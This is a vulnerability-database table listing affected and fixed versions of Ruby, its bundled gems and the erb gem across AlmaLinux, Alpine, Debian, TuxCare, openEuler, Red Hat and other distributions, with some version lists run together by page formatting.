rubyAlpine:v3.21 |
before 3.3.13-r0 | 3.3.13-r0 |
rubyAlmaLinux:9 |
before 3.3.10-6.module_el9.7.0+245+447713a2 | 3.3.10-6.module_el9.7.0+245+447713a2 |
ruby-bundled-gemsAlmaLinux:9 |
before 3.3.10-6.module_el9.7.0+245+447713a2 | 3.3.10-6.module_el9.7.0+245+447713a2 |
ruby-default-gemsAlmaLinux:9 |
before 3.3.10-6.module_el9.7.0+245+447713a2 | 3.3.10-6.module_el9.7.0+245+447713a2 |
ruby-develAlmaLinux:9 |
before 3.3.10-6.module_el9.7.0+245+447713a2 | 3.3.10-6.module_el9.7.0+245+447713a2 |
ruby-docAlmaLinux:9 |
before 3.3.10-6.module_el9.7.0+245+447713a2 | 3.3.10-6.module_el9.7.0+245+447713a2 |
Show 290 moreShow less
| Package | Affected | Fixed |
|---|---|---|
ruby-libsAlmaLinux:9 |
before 3.3.10-6.module_el9.7.0+245+447713a2 | 3.3.10-6.module_el9.7.0+245+447713a2 |
rubygem-bigdecimalAlmaLinux:9 |
before 3.1.5-6.module_el9.7.0+245+447713a2 | 3.1.5-6.module_el9.7.0+245+447713a2 |
rubygem-bundlerAlmaLinux:9 |
before 2.5.22-6.module_el9.7.0+245+447713a2 | 2.5.22-6.module_el9.7.0+245+447713a2 |
rubygem-io-consoleAlmaLinux:9 |
before 0.7.1-6.module_el9.7.0+245+447713a2 | 0.7.1-6.module_el9.7.0+245+447713a2 |
rubygem-irbAlmaLinux:9 |
before 1.13.1-6.module_el9.7.0+245+447713a2 | 1.13.1-6.module_el9.7.0+245+447713a2 |
rubygem-jsonAlmaLinux:9 |
before 2.7.2-6.module_el9.7.0+245+447713a2 | 2.7.2-6.module_el9.7.0+245+447713a2 |
rubygem-minitestAlmaLinux:9 |
before 5.20.0-6.module_el9.7.0+245+447713a2 | 5.20.0-6.module_el9.7.0+245+447713a2 |
rubygem-mysql2AlmaLinux:9 |
before 0.5.5-3.module_el9.7.0+184+e2e36072 | 0.5.5-3.module_el9.7.0+184+e2e36072 |
rubygem-mysql2-docAlmaLinux:9 |
before 0.5.5-3.module_el9.7.0+184+e2e36072 | 0.5.5-3.module_el9.7.0+184+e2e36072 |
rubygem-pgAlmaLinux:9 |
before 1.5.4-2.module_el9.7.0+245+447713a2 | 1.5.4-2.module_el9.7.0+245+447713a2 |
rubygem-pg-docAlmaLinux:9 |
before 1.5.4-2.module_el9.7.0+245+447713a2 | 1.5.4-2.module_el9.7.0+245+447713a2 |
rubygem-power_assertAlmaLinux:9 |
before 2.0.3-6.module_el9.7.0+245+447713a2 | 2.0.3-6.module_el9.7.0+245+447713a2 |
rubygem-psychAlmaLinux:9 |
before 5.1.2-6.module_el9.7.0+245+447713a2 | 5.1.2-6.module_el9.7.0+245+447713a2 |
rubygem-raccAlmaLinux:9 |
before 1.7.3-6.module_el9.7.0+245+447713a2 | 1.7.3-6.module_el9.7.0+245+447713a2 |
rubygem-rakeAlmaLinux:9 |
before 13.1.0-6.module_el9.7.0+245+447713a2 | 13.1.0-6.module_el9.7.0+245+447713a2 |
rubygem-rbsAlmaLinux:9 |
before 3.4.0-6.module_el9.7.0+245+447713a2 | 3.4.0-6.module_el9.7.0+245+447713a2 |
rubygem-rdocAlmaLinux:9 |
before 6.6.3.1-6.module_el9.7.0+245+447713a2 | 6.6.3.1-6.module_el9.7.0+245+447713a2 |
rubygem-rexmlAlmaLinux:9 |
before 3.4.4-6.module_el9.7.0+245+447713a2 | 3.4.4-6.module_el9.7.0+245+447713a2 |
rubygem-rssAlmaLinux:9 |
before 0.3.1-6.module_el9.7.0+245+447713a2 | 0.3.1-6.module_el9.7.0+245+447713a2 |
rubygem-test-unitAlmaLinux:9 |
before 3.6.1-6.module_el9.7.0+245+447713a2 | 3.6.1-6.module_el9.7.0+245+447713a2 |
rubygem-typeprofAlmaLinux:9 |
before 0.21.9-6.module_el9.7.0+245+447713a2 | 0.21.9-6.module_el9.7.0+245+447713a2 |
rubygemsAlmaLinux:9 |
before 3.5.22-6.module_el9.7.0+245+447713a2 | 3.5.22-6.module_el9.7.0+245+447713a2 |
rubygems-develAlmaLinux:9 |
before 3.5.22-6.module_el9.7.0+245+447713a2 | 3.5.22-6.module_el9.7.0+245+447713a2 |
rubyAlmaLinux:9 |
before 3.0.7-166.el9_7 | 3.0.7-166.el9_7 |
ruby-default-gemsAlmaLinux:9 |
before 3.0.7-166.el9_7 | 3.0.7-166.el9_7 |
ruby-develAlmaLinux:9 |
before 3.0.7-166.el9_7 | 3.0.7-166.el9_7 |
ruby-docAlmaLinux:9 |
before 3.0.7-166.el9_7 | 3.0.7-166.el9_7 |
ruby-libsAlmaLinux:9 |
before 3.0.7-166.el9_7 | 3.0.7-166.el9_7 |
rubygem-bigdecimalAlmaLinux:9 |
before 3.0.0-166.el9_7 | 3.0.0-166.el9_7 |
rubygem-bundlerAlmaLinux:9 |
before 2.2.33-166.el9_7 | 2.2.33-166.el9_7 |
rubygem-io-consoleAlmaLinux:9 |
before 0.5.7-166.el9_7 | 0.5.7-166.el9_7 |
rubygem-irbAlmaLinux:9 |
before 1.3.5-166.el9_7 | 1.3.5-166.el9_7 |
rubygem-jsonAlmaLinux:9 |
before 2.5.1-166.el9_7 | 2.5.1-166.el9_7 |
rubygem-minitestAlmaLinux:9 |
before 5.14.2-166.el9_7 | 5.14.2-166.el9_7 |
rubygem-power_assertAlmaLinux:9 |
before 1.2.1-166.el9_7 | 1.2.1-166.el9_7 |
rubygem-psychAlmaLinux:9 |
before 3.3.2-166.el9_7 | 3.3.2-166.el9_7 |
rubygem-rakeAlmaLinux:9 |
before 13.0.3-166.el9_7 | 13.0.3-166.el9_7 |
rubygem-rbsAlmaLinux:9 |
before 1.4.0-166.el9_7 | 1.4.0-166.el9_7 |
rubygem-rdocAlmaLinux:9 |
before 6.3.4.1-166.el9_7 | 6.3.4.1-166.el9_7 |
rubygem-rexmlAlmaLinux:9 |
before 3.2.5-166.el9_7 | 3.2.5-166.el9_7 |
rubygem-rssAlmaLinux:9 |
before 0.2.9-166.el9_7 | 0.2.9-166.el9_7 |
rubygem-test-unitAlmaLinux:9 |
before 3.3.7-166.el9_7 | 3.3.7-166.el9_7 |
rubygem-typeprofAlmaLinux:9 |
before 0.15.2-166.el9_7 | 0.15.2-166.el9_7 |
rubygemsAlmaLinux:9 |
before 3.2.33-166.el9_7 | 3.2.33-166.el9_7 |
rubygems-develAlmaLinux:9 |
before 3.2.33-166.el9_7 | 3.2.33-166.el9_7 |
ruby-default-gemsAlmaLinux:10 |
before 3.3.10-12.el10_1 | 3.3.10-12.el10_1 |
ruby-docAlmaLinux:10 |
before 3.3.10-12.el10_1 | 3.3.10-12.el10_1 |
rubygem-bundlerAlmaLinux:10 |
before 2.5.22-12.el10_1 | 2.5.22-12.el10_1 |
rubygem-irbAlmaLinux:10 |
before 1.13.1-12.el10_1 | 1.13.1-12.el10_1 |
rubygem-minitestAlmaLinux:10 |
before 5.20.0-12.el10_1 | 5.20.0-12.el10_1 |
rubygem-power_assertAlmaLinux:10 |
before 2.0.3-12.el10_1 | 2.0.3-12.el10_1 |
rubygem-rakeAlmaLinux:10 |
before 13.1.0-12.el10_1 | 13.1.0-12.el10_1 |
rubygem-rdocAlmaLinux:10 |
before 6.6.3.1-12.el10_1 | 6.6.3.1-12.el10_1 |
rubygem-rexmlAlmaLinux:10 |
before 3.4.4-12.el10_1 | 3.4.4-12.el10_1 |
rubygem-rssAlmaLinux:10 |
before 0.3.1-12.el10_1 | 0.3.1-12.el10_1 |
rubygem-test-unitAlmaLinux:10 |
before 3.6.1-12.el10_1 | 3.6.1-12.el10_1 |
rubygem-typeprofAlmaLinux:10 |
before 0.21.9-12.el10_1 | 0.21.9-12.el10_1 |
rubygemsAlmaLinux:10 |
before 3.5.22-12.el10_1 | 3.5.22-12.el10_1 |
rubygems-develAlmaLinux:10 |
before 3.5.22-12.el10_1 | 3.5.22-12.el10_1 |
rubyAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.3-32.module_el9.8.0+251+5fdbd96b | 4.0.3-32.module_el9.8.0+251+5fdbd96b |
ruby-bundled-gemsAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.3-32.module_el9.8.0+251+5fdbd96b | 4.0.3-32.module_el9.8.0+251+5fdbd96b |
ruby-default-gemsAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.3-32.module_el9.8.0+251+5fdbd96b | 4.0.3-32.module_el9.8.0+251+5fdbd96b |
ruby-develAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.3-32.module_el9.8.0+251+5fdbd96b | 4.0.3-32.module_el9.8.0+251+5fdbd96b |
ruby-docAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.3-32.module_el9.8.0+251+5fdbd96b | 4.0.3-32.module_el9.8.0+251+5fdbd96b |
ruby-libsAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.3-32.module_el9.8.0+251+5fdbd96b | 4.0.3-32.module_el9.8.0+251+5fdbd96b |
rubygem-bigdecimalAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.1-32.module_el9.8.0+251+5fdbd96b | 4.0.1-32.module_el9.8.0+251+5fdbd96b |
rubygem-bundlerAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.6-32.module_el9.8.0+251+5fdbd96b | 4.0.6-32.module_el9.8.0+251+5fdbd96b |
rubygem-io-consoleAlmaLinux:9 From an advisory covering 2 CVEs |
before 0.8.2-32.module_el9.8.0+251+5fdbd96b | 0.8.2-32.module_el9.8.0+251+5fdbd96b |
rubygem-irbAlmaLinux:9 From an advisory covering 2 CVEs |
before 1.16.0-32.module_el9.8.0+251+5fdbd96b | 1.16.0-32.module_el9.8.0+251+5fdbd96b |
rubygem-jsonAlmaLinux:9 From an advisory covering 2 CVEs |
before 2.18.0-32.module_el9.8.0+251+5fdbd96b | 2.18.0-32.module_el9.8.0+251+5fdbd96b |
rubygem-minitestAlmaLinux:9 From an advisory covering 2 CVEs |
before 6.0.0-32.module_el9.8.0+251+5fdbd96b | 6.0.0-32.module_el9.8.0+251+5fdbd96b |
rubygem-mysql2AlmaLinux:9 From an advisory covering 2 CVEs |
before 0.5.7-1.module_el9.8.0+232+50f6dd36 | 0.5.7-1.module_el9.8.0+232+50f6dd36 |
rubygem-mysql2-docAlmaLinux:9 From an advisory covering 2 CVEs |
before 0.5.7-1.module_el9.8.0+232+50f6dd36 | 0.5.7-1.module_el9.8.0+232+50f6dd36 |
rubygem-pgAlmaLinux:9 From an advisory covering 2 CVEs |
before 1.6.3-1.module_el9.8.0+232+50f6dd36 | 1.6.3-1.module_el9.8.0+232+50f6dd36 |
rubygem-pg-docAlmaLinux:9 From an advisory covering 2 CVEs |
before 1.6.3-1.module_el9.8.0+232+50f6dd36 | 1.6.3-1.module_el9.8.0+232+50f6dd36 |
rubygem-power_assertAlmaLinux:9 From an advisory covering 2 CVEs |
before 3.0.1-32.module_el9.8.0+251+5fdbd96b | 3.0.1-32.module_el9.8.0+251+5fdbd96b |
rubygem-psychAlmaLinux:9 From an advisory covering 2 CVEs |
before 5.3.1-32.module_el9.8.0+251+5fdbd96b | 5.3.1-32.module_el9.8.0+251+5fdbd96b |
rubygem-raccAlmaLinux:9 From an advisory covering 2 CVEs |
before 1.8.1-32.module_el9.8.0+251+5fdbd96b | 1.8.1-32.module_el9.8.0+251+5fdbd96b |
rubygem-rakeAlmaLinux:9 From an advisory covering 2 CVEs |
before 13.3.1-32.module_el9.8.0+251+5fdbd96b | 13.3.1-32.module_el9.8.0+251+5fdbd96b |
rubygem-rbsAlmaLinux:9 From an advisory covering 2 CVEs |
before 3.10.0-32.module_el9.8.0+251+5fdbd96b | 3.10.0-32.module_el9.8.0+251+5fdbd96b |
rubygem-rdocAlmaLinux:9 From an advisory covering 2 CVEs |
before 7.0.3-32.module_el9.8.0+251+5fdbd96b | 7.0.3-32.module_el9.8.0+251+5fdbd96b |
rubygem-rexmlAlmaLinux:9 From an advisory covering 2 CVEs |
before 3.4.4-32.module_el9.8.0+251+5fdbd96b | 3.4.4-32.module_el9.8.0+251+5fdbd96b |
rubygem-rssAlmaLinux:9 From an advisory covering 2 CVEs |
before 0.3.2-32.module_el9.8.0+251+5fdbd96b | 0.3.2-32.module_el9.8.0+251+5fdbd96b |
rubygem-test-unitAlmaLinux:9 From an advisory covering 2 CVEs |
before 3.7.5-32.module_el9.8.0+251+5fdbd96b | 3.7.5-32.module_el9.8.0+251+5fdbd96b |
rubygem-typeprofAlmaLinux:9 From an advisory covering 2 CVEs |
before 0.31.1-32.module_el9.8.0+251+5fdbd96b | 0.31.1-32.module_el9.8.0+251+5fdbd96b |
rubygemsAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.6-32.module_el9.8.0+251+5fdbd96b | 4.0.6-32.module_el9.8.0+251+5fdbd96b |
rubygems-develAlmaLinux:9 From an advisory covering 2 CVEs |
before 4.0.6-32.module_el9.8.0+251+5fdbd96b | 4.0.6-32.module_el9.8.0+251+5fdbd96b |
ruby4.0AlmaLinux:10 From an advisory covering 2 CVEs |
before 4.0.3-34.el10_2 | 4.0.3-34.el10_2 |
ruby4.0-develAlmaLinux:10 From an advisory covering 2 CVEs |
before 4.0.3-34.el10_2 | 4.0.3-34.el10_2 |
ruby4.0-docAlmaLinux:10 From an advisory covering 2 CVEs |
before 4.0.3-34.el10_2 | 4.0.3-34.el10_2 |
ruby4.0-rubygem-mysql2AlmaLinux:10 From an advisory covering 2 CVEs |
before 0.5.7-34.el10_2 | 0.5.7-34.el10_2 |
ruby4.0-rubygem-pgAlmaLinux:10 From an advisory covering 2 CVEs |
before 1.6.3-34.el10_2 | 1.6.3-34.el10_2 |
rubyAlmaLinux:8 |
before 3.3.10-6.module_el8.10.0+4183+69a3c42f | 3.3.10-6.module_el8.10.0+4183+69a3c42f |
ruby-bundled-gemsAlmaLinux:8 |
before 3.3.10-6.module_el8.10.0+4183+69a3c42f | 3.3.10-6.module_el8.10.0+4183+69a3c42f |
ruby-default-gemsAlmaLinux:8 |
before 3.3.10-6.module_el8.10.0+4183+69a3c42f | 3.3.10-6.module_el8.10.0+4183+69a3c42f |
rubyAlpaquita:23 |
3.1.2-r1 up to 3.3.13-r0 | 3.3.13-r0 |
rubyAlpaquita:25 |
3.4.4-r0 up to 3.4.12-r0 | 3.4.12-r0 |
rubyAlpaquita:stream |
3.1.2-r1 up to 3.4.10-r0 | 3.4.10-r0 |
rubyTuxCare:AlmaLinux:9.2 |
before 3.0.4-160.el9_2.tuxcare.els14 | 3.0.4-160.el9_2.tuxcare.els14 |
ruby-default-gemsTuxCare:AlmaLinux:9.2 |
before 3.0.4-160.el9_2.tuxcare.els14 | 3.0.4-160.el9_2.tuxcare.els14 |
ruby-develTuxCare:AlmaLinux:9.2 |
before 3.0.4-160.el9_2.tuxcare.els14 | 3.0.4-160.el9_2.tuxcare.els14 |
ruby-docTuxCare:AlmaLinux:9.2 |
before 3.0.4-160.el9_2.tuxcare.els14 | 3.0.4-160.el9_2.tuxcare.els14 |
ruby-libsTuxCare:AlmaLinux:9.2 |
before 3.0.4-160.el9_2.tuxcare.els14 | 3.0.4-160.el9_2.tuxcare.els14 |
rubygem-bigdecimalTuxCare:AlmaLinux:9.2 |
before 3.0.0-160.el9_2.tuxcare.els14 | 3.0.0-160.el9_2.tuxcare.els14 |
rubygem-bundlerTuxCare:AlmaLinux:9.2 |
before 2.2.33-160.el9_2.tuxcare.els14 | 2.2.33-160.el9_2.tuxcare.els14 |
rubygem-io-consoleTuxCare:AlmaLinux:9.2 |
before 0.5.7-160.el9_2.tuxcare.els14 | 0.5.7-160.el9_2.tuxcare.els14 |
rubygem-irbTuxCare:AlmaLinux:9.2 |
before 1.3.5-160.el9_2.tuxcare.els14 | 1.3.5-160.el9_2.tuxcare.els14 |
rubygem-jsonTuxCare:AlmaLinux:9.2 |
before 2.5.1-160.el9_2.tuxcare.els14 | 2.5.1-160.el9_2.tuxcare.els14 |
rubygem-minitestTuxCare:AlmaLinux:9.2 |
before 5.14.2-160.el9_2.tuxcare.els14 | 5.14.2-160.el9_2.tuxcare.els14 |
rubygem-power_assertTuxCare:AlmaLinux:9.2 |
before 1.2.0-160.el9_2.tuxcare.els14 | 1.2.0-160.el9_2.tuxcare.els14 |
rubygem-psychTuxCare:AlmaLinux:9.2 |
before 3.3.2-160.el9_2.tuxcare.els14 | 3.3.2-160.el9_2.tuxcare.els14 |
rubygem-rakeTuxCare:AlmaLinux:9.2 |
before 13.0.3-160.el9_2.tuxcare.els14 | 13.0.3-160.el9_2.tuxcare.els14 |
rubygem-rbsTuxCare:AlmaLinux:9.2 |
before 1.4.0-160.el9_2.tuxcare.els14 | 1.4.0-160.el9_2.tuxcare.els14 |
rubygem-rdocTuxCare:AlmaLinux:9.2 |
before 6.3.3-160.el9_2.tuxcare.els14 | 6.3.3-160.el9_2.tuxcare.els14 |
rubygem-rexmlTuxCare:AlmaLinux:9.2 |
before 3.3.3-160.el9_2.tuxcare.els14 | 3.3.3-160.el9_2.tuxcare.els14 |
rubygem-rssTuxCare:AlmaLinux:9.2 |
before 0.2.9-160.el9_2.tuxcare.els14 | 0.2.9-160.el9_2.tuxcare.els14 |
rubygem-test-unitTuxCare:AlmaLinux:9.2 |
before 3.3.7-160.el9_2.tuxcare.els14 | 3.3.7-160.el9_2.tuxcare.els14 |
rubygem-typeprofTuxCare:AlmaLinux:9.2 |
before 0.15.2-160.el9_2.tuxcare.els14 | 0.15.2-160.el9_2.tuxcare.els14 |
rubygemsTuxCare:AlmaLinux:9.2 |
before 3.2.33-160.el9_2.tuxcare.els14 | 3.2.33-160.el9_2.tuxcare.els14 |
rubygems-develTuxCare:AlmaLinux:9.2 |
before 3.2.33-160.el9_2.tuxcare.els14 | 3.2.33-160.el9_2.tuxcare.els14 |
rubyTuxCare:AlmaLinux:9.6 |
before 3.0.7-165.el9_5.tuxcare.els5 | 3.0.7-165.el9_5.tuxcare.els5 |
ruby-default-gemsTuxCare:AlmaLinux:9.6 |
before 3.0.7-165.el9_5.tuxcare.els5 | 3.0.7-165.el9_5.tuxcare.els5 |
ruby-develTuxCare:AlmaLinux:9.6 |
before 3.0.7-165.el9_5.tuxcare.els5 | 3.0.7-165.el9_5.tuxcare.els5 |
ruby-docTuxCare:AlmaLinux:9.6 |
before 3.0.7-165.el9_5.tuxcare.els5 | 3.0.7-165.el9_5.tuxcare.els5 |
ruby-libsTuxCare:AlmaLinux:9.6 |
before 3.0.7-165.el9_5.tuxcare.els5 | 3.0.7-165.el9_5.tuxcare.els5 |
rubygem-bigdecimalTuxCare:AlmaLinux:9.6 |
before 3.0.0-165.el9_5.tuxcare.els5 | 3.0.0-165.el9_5.tuxcare.els5 |
rubygem-bundlerTuxCare:AlmaLinux:9.6 |
before 2.2.33-165.el9_5.tuxcare.els5 | 2.2.33-165.el9_5.tuxcare.els5 |
rubygem-io-consoleTuxCare:AlmaLinux:9.6 |
before 0.5.7-165.el9_5.tuxcare.els5 | 0.5.7-165.el9_5.tuxcare.els5 |
rubygem-irbTuxCare:AlmaLinux:9.6 |
before 1.3.5-165.el9_5.tuxcare.els5 | 1.3.5-165.el9_5.tuxcare.els5 |
rubygem-jsonTuxCare:AlmaLinux:9.6 |
before 2.5.1-165.el9_5.tuxcare.els5 | 2.5.1-165.el9_5.tuxcare.els5 |
rubygem-minitestTuxCare:AlmaLinux:9.6 |
before 5.14.2-165.el9_5.tuxcare.els5 | 5.14.2-165.el9_5.tuxcare.els5 |
rubygem-power_assertTuxCare:AlmaLinux:9.6 |
before 1.2.1-165.el9_5.tuxcare.els5 | 1.2.1-165.el9_5.tuxcare.els5 |
rubygem-psychTuxCare:AlmaLinux:9.6 |
before 3.3.2-165.el9_5.tuxcare.els5 | 3.3.2-165.el9_5.tuxcare.els5 |
rubygem-rakeTuxCare:AlmaLinux:9.6 |
before 13.0.3-165.el9_5.tuxcare.els5 | 13.0.3-165.el9_5.tuxcare.els5 |
rubygem-rbsTuxCare:AlmaLinux:9.6 |
before 1.4.0-165.el9_5.tuxcare.els5 | 1.4.0-165.el9_5.tuxcare.els5 |
rubygem-rdocTuxCare:AlmaLinux:9.6 |
before 6.3.4.1-165.el9_5.tuxcare.els5 | 6.3.4.1-165.el9_5.tuxcare.els5 |
rubygem-rexmlTuxCare:AlmaLinux:9.6 |
before 3.2.5-165.el9_5.tuxcare.els5 | 3.2.5-165.el9_5.tuxcare.els5 |
rubygem-rssTuxCare:AlmaLinux:9.6 |
before 0.2.9-165.el9_5.tuxcare.els5 | 0.2.9-165.el9_5.tuxcare.els5 |
rubygem-test-unitTuxCare:AlmaLinux:9.6 |
before 3.3.7-165.el9_5.tuxcare.els5 | 3.3.7-165.el9_5.tuxcare.els5 |
rubygem-typeprofTuxCare:AlmaLinux:9.6 |
before 0.15.2-165.el9_5.tuxcare.els5 | 0.15.2-165.el9_5.tuxcare.els5 |
rubygemsTuxCare:AlmaLinux:9.6 |
before 3.2.33-165.el9_5.tuxcare.els5 | 3.2.33-165.el9_5.tuxcare.els5 |
rubygems-develTuxCare:AlmaLinux:9.6 |
before 3.2.33-165.el9_5.tuxcare.els5 | 3.2.33-165.el9_5.tuxcare.els5 |
ruby3.1Debian:12 |
All versions, plus listed versions 3.1.2-73.1.2-7+deb12u13.1.2-7+hurd.13.1.2-83.1.2-8.1~exp13.1.2-8.33.1.2-8.43.1.2-8.5 |
None known |
ruby3.3Debian:13 |
before 3.3.13-0+deb13u1, plus listed versions 3.3.8-23.3.8-2.13.3.8-2.2 |
3.3.13-0+deb13u1 |
ruby3.3Debian:14 |
All versions, plus listed versions 3.3.8-23.3.8-2.13.3.8-2.2 |
None known |
erbRubyGems |
before 4.0.3.1, plus listed versions 2.2.02.2.12.2.22.2.33.0.0 Show 4 moreShow less4.0.04.0.14.0.24.0.3 |
4.0.3.1 |
erbRubyGems |
4.0.4 up to 4.0.4.1 | 4.0.4.1 |
erbRubyGems |
5.0.0 up to 6.0.1.1, plus listed versions 5.0.15.0.25.0.35.1.05.1.1 Show 4 moreShow less5.1.25.1.36.0.06.0.1 |
6.0.1.1 |
erbRubyGems |
6.0.2 up to 6.0.4, plus listed versions 6.0.3 |
6.0.4 |
rubyopenEuler:24.03-LTS-SP1 |
before 3.2.2-152.oe2403sp1 | 3.2.2-152.oe2403sp1 |
rubyopenEuler:24.03-LTS-SP3 |
before 3.2.2-152.oe2403sp3 | 3.2.2-152.oe2403sp3 |
rubyopenEuler:20.03-LTS-SP4 |
before 2.5.8-137.oe2003sp4 | 2.5.8-137.oe2003sp4 |
rubyopenEuler:22.03-LTS-SP4 |
before 3.0.3-145.oe2203sp4 | 3.0.3-145.oe2203sp4 |
rubyopenEuler:24.03-LTS |
before 3.2.2-152.oe2403 | 3.2.2-152.oe2403 |
rubyRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-bundled-gemsRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-bundled-gems-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-default-gemsRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-develRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-docRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-libsRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
ruby-libs-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.3.10-6.module+el9.7.0+24248+66578cbb | 0:3.3.10-6.module+el9.7.0+24248+66578cbb |
rubygem-bigdecimalRed Hat:enterprise_linux:9::appstream |
before 0:3.1.5-6.module+el9.7.0+24248+66578cbb | 0:3.1.5-6.module+el9.7.0+24248+66578cbb |
rubygem-bigdecimal-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.1.5-6.module+el9.7.0+24248+66578cbb | 0:3.1.5-6.module+el9.7.0+24248+66578cbb |
rubygem-bundlerRed Hat:enterprise_linux:9::appstream |
before 0:2.5.22-6.module+el9.7.0+24248+66578cbb | 0:2.5.22-6.module+el9.7.0+24248+66578cbb |
rubygem-io-consoleRed Hat:enterprise_linux:9::appstream |
before 0:0.7.1-6.module+el9.7.0+24248+66578cbb | 0:0.7.1-6.module+el9.7.0+24248+66578cbb |
rubygem-io-console-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:0.7.1-6.module+el9.7.0+24248+66578cbb | 0:0.7.1-6.module+el9.7.0+24248+66578cbb |
rubygem-irbRed Hat:enterprise_linux:9::appstream |
before 0:1.13.1-6.module+el9.7.0+24248+66578cbb | 0:1.13.1-6.module+el9.7.0+24248+66578cbb |
rubygem-jsonRed Hat:enterprise_linux:9::appstream |
before 0:2.7.2-6.module+el9.7.0+24248+66578cbb | 0:2.7.2-6.module+el9.7.0+24248+66578cbb |
rubygem-json-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:2.7.2-6.module+el9.7.0+24248+66578cbb | 0:2.7.2-6.module+el9.7.0+24248+66578cbb |
rubygem-minitestRed Hat:enterprise_linux:9::appstream |
before 0:5.20.0-6.module+el9.7.0+24248+66578cbb | 0:5.20.0-6.module+el9.7.0+24248+66578cbb |
rubygem-mysql2Red Hat:enterprise_linux:9::appstream |
before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf | 0:0.5.5-3.module+el9.7.0+24119+ccc80daf |
rubygem-mysql2-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf | 0:0.5.5-3.module+el9.7.0+24119+ccc80daf |
rubygem-mysql2-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf | 0:0.5.5-3.module+el9.7.0+24119+ccc80daf |
rubygem-mysql2-docRed Hat:enterprise_linux:9::appstream |
before 0:0.5.5-3.module+el9.7.0+24119+ccc80daf | 0:0.5.5-3.module+el9.7.0+24119+ccc80daf |
rubygem-pgRed Hat:enterprise_linux:9::appstream |
before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf | 0:1.5.4-2.module+el9.7.0+24119+ccc80daf |
rubygem-pg-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf | 0:1.5.4-2.module+el9.7.0+24119+ccc80daf |
rubygem-pg-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf | 0:1.5.4-2.module+el9.7.0+24119+ccc80daf |
rubygem-pg-docRed Hat:enterprise_linux:9::appstream |
before 0:1.5.4-2.module+el9.7.0+24119+ccc80daf | 0:1.5.4-2.module+el9.7.0+24119+ccc80daf |
rubygem-power_assertRed Hat:enterprise_linux:9::appstream |
before 0:2.0.3-6.module+el9.7.0+24248+66578cbb | 0:2.0.3-6.module+el9.7.0+24248+66578cbb |
rubygem-psychRed Hat:enterprise_linux:9::appstream |
before 0:5.1.2-6.module+el9.7.0+24248+66578cbb | 0:5.1.2-6.module+el9.7.0+24248+66578cbb |
rubygem-psych-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:5.1.2-6.module+el9.7.0+24248+66578cbb | 0:5.1.2-6.module+el9.7.0+24248+66578cbb |
rubygem-raccRed Hat:enterprise_linux:9::appstream |
before 0:1.7.3-6.module+el9.7.0+24248+66578cbb | 0:1.7.3-6.module+el9.7.0+24248+66578cbb |
rubygem-racc-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:1.7.3-6.module+el9.7.0+24248+66578cbb | 0:1.7.3-6.module+el9.7.0+24248+66578cbb |
rubygem-rakeRed Hat:enterprise_linux:9::appstream |
before 0:13.1.0-6.module+el9.7.0+24248+66578cbb | 0:13.1.0-6.module+el9.7.0+24248+66578cbb |
rubygem-rbsRed Hat:enterprise_linux:9::appstream |
before 0:3.4.0-6.module+el9.7.0+24248+66578cbb | 0:3.4.0-6.module+el9.7.0+24248+66578cbb |
rubygem-rbs-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.4.0-6.module+el9.7.0+24248+66578cbb | 0:3.4.0-6.module+el9.7.0+24248+66578cbb |
rubygem-rdocRed Hat:enterprise_linux:9::appstream |
before 0:6.6.3.1-6.module+el9.7.0+24248+66578cbb | 0:6.6.3.1-6.module+el9.7.0+24248+66578cbb |
rubygem-rexmlRed Hat:enterprise_linux:9::appstream |
before 0:3.4.4-6.module+el9.7.0+24248+66578cbb | 0:3.4.4-6.module+el9.7.0+24248+66578cbb |
rubygem-rssRed Hat:enterprise_linux:9::appstream |
before 0:0.3.1-6.module+el9.7.0+24248+66578cbb | 0:0.3.1-6.module+el9.7.0+24248+66578cbb |
